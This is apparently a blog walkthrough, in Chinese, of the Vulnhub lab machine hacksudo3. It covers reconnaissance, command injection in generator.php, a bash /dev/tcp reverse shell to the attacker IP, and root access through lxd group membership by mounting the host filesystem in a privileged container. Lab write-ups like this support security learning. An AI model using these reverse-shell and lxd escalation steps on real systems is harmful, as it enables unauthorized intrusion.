Vulnhub靶机:hacksudo3

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo3(10.0.2.45)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/hacksudo-3,671/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.45

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:21、22、80

在这里插入图片描述

80端口:打开网站未发现可利用的功能点,源码也没有隐藏信息,页面存在一些密码信息

在这里插入图片描述

使用disearch进行目录爆破,发现info.php、login.php文件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

但后续测试发现这两个页面没有可利用的漏洞。

可能是目录爆破不够全面,使用dirbuster再次进行爆破,发现页面:

/info.php
/login.php
/create/index.html
/hidden/index.html
/generator.php
/decrypt/index.html
/bruteforce/index.html

在这里插入图片描述

在测试/generator.php页面发现该页面存在命令注入漏洞

在这里插入图片描述

输入反引号和命令,可以执行命令

`id`

在这里插入图片描述

三、漏洞利用

使用命令注入反弹shell

`bash -i >& /dev/tcp/10.0.2.15/4444 0>&1`    失败
`bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'`  成功

在这里插入图片描述

获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

查找靶机是否存在特权命令或是否存在具有root权限的可利用的文件

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

发现/usr/libexec/polkit-agent-helper-1文件,该版本的polkit存在提权漏洞CVE-2021-4034,靶机没有gcc环境我们可以上传编译好的exp进行提权。

这次我们不用这个方法

翻一翻靶机各个文件夹,发现在/var/www/目录下存在hacksudo文件,文件里面保存着一些疑似字符串被打乱的数据

unpxfhqb ybpxre FFU hfreanzr:unpxfhqb cnffjbeq:63p9142792q571q0s7p28ro30626q6s38792n2r7679o76q784231676q62447so80ns8953745s709p6622qqn2po4q754p262q0q31o3030n08s7o524079n6o336o

在这里插入图片描述

可以使用凯撒密码解密,当偏移量为13时解密得到:

hacksudo locker SSH username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b

在这里插入图片描述

使用在线md5解密网站解密密码字段:vishal

在这里插入图片描述

切换为hacksudo用户

在这里插入图片描述

发现用户账号是LXD组的组成员,可以尝试lxd提权

which lxd
which lxc

在这里插入图片描述

攻击机操作:

通过git将构建好的alpine镜像克隆至本地;

git clone https://github.com/saghul/lxd-alpine-builder.git

执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;

cd lxd-alpine-builder   
sudo ./build-alpine

在这里插入图片描述

将tar文件发送至目标设备

service apache2 start  

靶机操作:

下载攻击机上的alpine-v3.19-x86_64-20240203_0945.tar.gz

wget http://10.0.2.15/alpine-v3.19-x86_64-20240203_0945.tar.gz

在这里插入图片描述

镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD了,注意需要从受害者机器上的用户的主目录执行此操作,否则可能会失败:

lxc image import alpine-v3.19-x86_64-20240203_0945.tar.gz --alias test

使用“list”命令即可检查可用的容器列表:

lxc image list

在这里插入图片描述

初始化镜像

lxd init  #一路回车
lxc init test test -c security.privileged=true

在这里插入图片描述

挂载磁盘

lxc config device add test test disk source=/ path=/mnt/root recursive=true

在这里插入图片描述

启动镜像并进入镜像访问任意文件

lxc start test
lxc exec test /bin/sh
id

在这里插入图片描述

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源。

在这里插入图片描述

获取flag

在这里插入图片描述
在这里插入图片描述

参考链接:https://blog.csdn.net/Perpetual_Blue/article/details/124645714
https://blog.csdn.net/YouthBelief/article/details/123548739

  • 21
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

huang0c

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值